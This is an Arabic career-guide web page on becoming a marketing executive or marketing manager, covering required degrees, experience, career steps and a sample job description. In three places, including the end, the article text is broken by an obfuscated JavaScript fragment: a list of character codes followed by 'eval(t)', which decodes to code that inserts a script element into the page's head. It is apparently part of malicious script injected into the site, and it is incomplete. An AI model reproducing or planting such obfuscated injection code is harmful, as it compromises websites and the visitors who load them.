التسويق

كيف تصبح تنفيذي تسويق: خارطة طريق التعليم والوظيفة

المتطلبات المهنية
مستوى الدرجة

• بكالوريوس

مجال (مجالات) الدرجة

• التسويق أو الأعمال أو الاقتصاد أو أي مجال ذي صلة

شهادة

• الشهادة المهنية الاختيارية المتاحة

الخبرة

• يختلف من 1-5 سنوات من الخبرة ذات الصلة

المهارات الأساسية

• الإبداع، فضلاً عن المهارات التحليلية وصنع القرار والشخصية والإدارة؛ القدرة على استخدام واجهة المستخدم التحليلية وقاعدة البيانات والاستعلام وإدارة علاقات العملاء وبرامج الرسومات.
  يقوم تنفيذى التسويق أيضًا بصياغة استراتيجيات التسعير بناءً على الطلب على المنتجات التي يتم الإعلان عنها، وتحليل بيانات المبيعات لتحديد فعالية استراتيجيات التسويق الموضوعة. يأتي كل عميل بخطة تسويق فريدة ومواعيد نهائية ثابتة للمشروع، والتي قد تكون مرهقة للوفاء بها. قد يكون السفر مطلوبًا أيضًا للتشاور مع العملاء. يعمل العديد من تنفيذيي التسويق على ساعات العمل الإضافية على أساس ثابت. في حين أن المهنة تتطلب الكثير، يكون العائد مرتفعًا نسبيًا.

الآن، دعنا نستكشف الخطوات نحو العمل كتنفيذي للتسويق.

الخطوة 1:
الخطوة الأولى لتصبح تنفيذي للتسويق هي تلبية متطلبات التعليم. يحتاج تنفيذى التسويق عمومًا إلى درجة البكالوريوس في التسويق أو في مجال ذي صلة. قد تقدم الدورات في التسويق دورات في المحاسبة وإدارة الأعمال وأنظمة المعلومات الإدارية وكذلك التسويق والتمويل. قد تكون الدورات في الإحصاء والرياضيات مفيدة أيضًا للتنفيذيين المحتملين.
أثناء مرحلة الدراسة الجامعية قد يكون من الحكمة إكمال تدريب خارجي لاكتساب خبرة في هذا المجال. سيوفر برنامج التدريب النموذجي للطلاب فرصة لتعلم مهارات العمل في العالم الحقيقي، مثل التسويق والمبيعات والعلاقات العامة والإعلان والإدارة، أثناء العمل مع العملاء في حملات التسويق. يمكن أن يمنح استكمال هذا التدريب لخريجي الجامعات الجدد فرصًا للتواصل والخبرة اللازمة للمضي قدمًا في مهنة التسويق.

الخطوة 2:
عادةً ما يبدأ تنفيذى التسويق الطموح لحياته المهنية في مناصب تسويق على مستوى المبتدئين، مثل مندوب المبيعات ومساعد التسويق ووكيل الشراء. أشارت دراسة استقصائية عن المناصب التنفيذية للتسويق تم الإعلان عنها في أغسطس 2016 إلى أن التنفيذيين للتسويق يتمتعون عادةً بخبرة ست سنوات على الأقل في الصناعة قبل التأهل لشغل منصب تنفيذي.

الخطوة 3:
يمكن ترقية متخصصي المبيعات والتسويق ذوي الخبرة الذين ميزوا أنفسهم بأداء وظيفي متميز وتدريب متقدم إلى منصب تنفيذي تسويق. في هذا المنصب، قد يشرفون على متخصصين تسويق آخرين، مثل متخصصي التسويق أو محللي أبحاث السوق.
إذا وجدت نفسك غير قادر على صعود السلم للوصول إلى منصب تنفيذي، فقد تفكر في الحصول على درجة الماجستير لتعزيز التقدم. يؤهلك ماجستير إدارة الأعمال لشغل مناصب إدارية عليا، وقد تكون قادرًا على تركيز دراستك على التسويق. عادةً ما يعطي أصحاب العمل الذين يسعون لشغل المناصب التنفيذية الأفضلية للمرشحين الحاصلين على درجة الماجستير وعدة سنوات من الخبرة.

الخطوة 4:
يمكن أن تساعد الدورات التدريبية الاحترافية المتخصصين في التسويق على التقدم في حياتهم المهنية، وتحسين فرص العمل، وحتى تحسين الرواتب المحتملة.
لتصبح تنفيذيًا للتسويق، فأنت تحتاج عمومًا إلى درجة البكالوريوس المتعلقة بالأعمال التجارية أو التسويق، بالإضافة إلى ست سنوات من الخبرة التسويقية، وقد تحسن درجة الماجستير في إدارة الأعمال من فرص العمل.

• الدراسة الاكاديمية
كليات التجارة بالجامعات المصرية الحكومية والخاصة

107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);

2. نموذج الوصف الوظيفي لمدير التسويق
   يمكن استخدام نموذج الوصف الوظيفي لمدير التسويق لمساعدتك في إنشاء إعلان وظيفي يجذب المرشحين المؤهلين للوظيفة. لا تتردد في مراجعة هذا الوصف الوظيفي للوفاء بواجبات الوظيفة المحددة ومتطلبات الوظيفة.
   المسمى الوظيفي: مدير تسويق
   الغرض من وظيفة مدير التسويق:
   مسؤول عن إدارة المبادرات التسويقية للشركة. يستخدم أبحاث السوق والتحليل لتوجيه استراتيجية التسويق والتخطيط. يشرف على إنتاج جميع المواد الترويجية والحملات التسويقية. تقارير نتائج التسويق والمبيعات لكبار المديرين التنفيذيين.

واجبات وظيفة مدير التسويق:
• مقابلات وتوظيف وتدريب موظفي التسويق.
• يحدد أهداف التسويق استناداً إلى الأداء السابق وتوقعات السوق.
• يشرف على العروض الحالية ويخرج بمبادرات للمنتجات أو الخدمات الجديدة.
• إجراء أبحاث وتحليل اتجاهات السوق، والتركيبة السكانية، وجداول التسعير، ومنتجات المنافسين، وغيرها من المعلومات ذات الصلة لتشكيل استراتيجيات التسويق.
• يعمل مع موظفي التسويق لوضع خطط تسويقية مفصلة لجميع القنوات الإعلامية وفرق المبيعات.
• الموافقة على التطوير الإبداعي للمواد الترويجية ومحتوى الموقع والإعلانات والمشاريع الأخرى المتعلقة بالتسويق والإشراف عليها.
• التواصل مع مختلف مشتري وسائل الإعلام ووكالات الإعلان والطابعات وغيرها من الخدمات للمساعدة في تحقيق المشاريع التسويقية.
• يوفر معلومات متعمقة للعملاء المهتمين، ويعمل كممثل لقسم التسويق في اجتماعات المشتري الهامة.
• يعمل ضمن ميزانية الإدارة لتطوير خطط تسويق فعالة من حيث التكلفة لكل منتج أو خدمة.
● جميع بيانات التسويق والمبيعات وإنشاء تقارير مكتوبة مفصلة وعروض شفهية لتقديمها إلى كبار المديرين التنفيذيين.
• تعديل حملات التسويق والاستراتيجيات حسب الحاجة مع استجابةً للبيانات التي تم جمعها وردود الفعل الأخرى.

مهارات ومؤهلات مدير التسويق:
درجة البكالوريوس في التسويق، أو الأعمال، أو مجال ذي صلة، أو استراتيجية التسويق، أو القنوات الإعلامية، أو علاقات العملاء، أو الإبداع، أو القدرة على التكيف، أو البحث، أو التحليل، أو الكتابة، أو الخطابة العامة، أو التواصل بين الأشخاص، أو القيادة، أو إدارة الأفراد، أو التفصيل، أو الميزانية، أو التنظيم، تعدد المهام.
الباحثون عن عمل: ابحث عن وظائف مدير تسويق وتقدم على موقع مونستر الآن.

• الدراسة الاكاديمية
كليات التجارة بالجامعات المصرية الحكومية والخاصة

107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);

1. مدير عام التسويق: الوصف الوظيفي والمتطلبات والمعلومات المهنية
   مطلوب درجة جامعية والخبرة في مجال التسويق ليكون مدير تسويق، حيث يقود مديرو التسويق حملات لبيع وتسويق المنتجات والخدمات. قد يُطلب منهم العمل مع فريق من الزملاء وعملائهم، وقد يحتاجون أيضًا إلى تحليل البيانات لتحديد أفضل استراتيجيات التسويق لاستخدامها.

معلومات ضرورية
يستخدم مديرو التسويق مهاراتهم القيادية واتصالات الصناعة وفهم سلوك المستهلك للمساعدة في بيع المنتجات والخدمات. قد يعملون لدى أنواع عديدة من أصحاب العمل، بما في ذلك أقسام التسويق في الشركات الكبيرة وكذلك شركات التسويق والإعلان. ويحتاج مديرو التسويق إلى خبرة في تحليل الأبحاث وتطوير استراتيجيات التسويق بالتعاون مع العملاء والزملاء. غالبًا ما يكون هؤلاء المحترفون حاصلين على درجة البكالوريوس وسنوات من الخبرة.

• الدراسة الاكاديمية

• درجة البكالوريوس في التسويق أو إدارة الأعمال أو مجال ذي صلة

متطلبات أخرى

• خبرة عدة سنوات في المجال

المسمى الوظيفي
يعمل مديرو التسويق على الترويج لخدمات أو منتجات عملائهم. إنهم يعملون في شركات التسويق أو الإعلان أو المدارس أو المنظمات غير الهادفة للربح أو داخل أقسام التسويق الداخلية للشركات الكبيرة. ويحللون استراتيجيات التسويق، ويستخدمون أبحاث السوق والتحليل لتوجيه استراتيجية التسويق والتخطيط، كما يشرفون على إنتاج جميع المواد الترويجية والحملات التسويقية، ويقدمون تقارير نتائج التسويق والمبيعات لكبار المديرين التنفيذيين. وعليهم البقاء على اطلاع بالمنتجات والخدمات المطلوبة أو التي ستكون مطلوبة، وقد يساعدون أيضًا في تسعير السلع أو الخدمات.
بيئة مكان العمل
قد يكون العمل الإضافي والساعات الأطول من المتوسط جزءًا من هذا المسار الوظيفي. على هذا النحو، قد يعمل مديرو التسويق في بيئات شديدة الضغط ويتعرضون لضغوط لإكمال المشاريع في ظل مواعيد نهائية صارمة.

برامج الشهادات المتقدمة
قد يفكر مديرو التسويق أيضًا في الحصول على درجة الماجستير في التسويق أو ماجستير إدارة الأعمال حيث توفر هذه البرامج تعليمًا تجاريًا وتسويقيًا متقدمًا وتتوج بأطروحة أو مشروع مكتوب.

المعلومات المهنية
يبدأ مديرو التسويق الطموحون عمومًا في منصب مبتدئ في التسويق. قد تشمل الواجبات تجميع أوصاف المنتج، ومساعدة الموظفين الأكثر خبرة في الترويج للمنتجات وتنفيذ خدمات التسويق، وعندما يكتسب الموظفون الجدد الخبرة، قد تتم ترقيتهم إلى أدوار أكثر صعوبة.

واجبات وظيفة مدير التسويق:
• مقابلات وتوظيف وتدريب موظفي التسويق.
• يحدد أهداف التسويق استنادًا إلى الأداء السابق وتوقعات السوق.
• يشرف على العروض الحالية ويخرج بمبادرات للمنتجات أو الخدمات الجديدة.
• إجراء أبحاث وتحليل اتجاهات السوق، والتركيبة السكانية، وجداول التسعير، ومنتجات المنافسين، وغيرها من المعلومات ذات الصلة لتشكيل استراتيجيات التسويق.
• يعمل مع موظفي التسويق لوضع خطط تسويقية مفصلة لجميع القنوات الإعلامية وفرق المبيعات.
• الموافقة على التطوير الإبداعي للمواد الترويجية ومحتوى الموقع والإعلانات والمشاريع الأخرى المتعلقة بالتسويق والإشراف عليها.
• التواصل مع مختلف وسائل الإعلام ووكالات الإعلان وغيرها من الخدمات للمساعدة في تحقيق المشاريع التسويقية.
• يوفر معلومات متعمقة للعملاء المهتمين، ويعمل كممثل لقسم التسويق في اجتماعات الإدارة الهامة.
• يعمل ضمن ميزانية الإدارة لتطوير خطط تسويق فعالة من حيث التكلفة لكل منتج أو خدمة.
● جميع بيانات التسويق والمبيعات وإنشاء تقارير مكتوبة مفصلة وعروض شفهية لتقديمها إلى كبار المديرين التنفيذيين.
• تعديل حملات التسويق والاستراتيجيات حسب الحاجة مع الاستجابة للبيانات التي تم جمعها وردود الفعل الأخرى.

107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(t);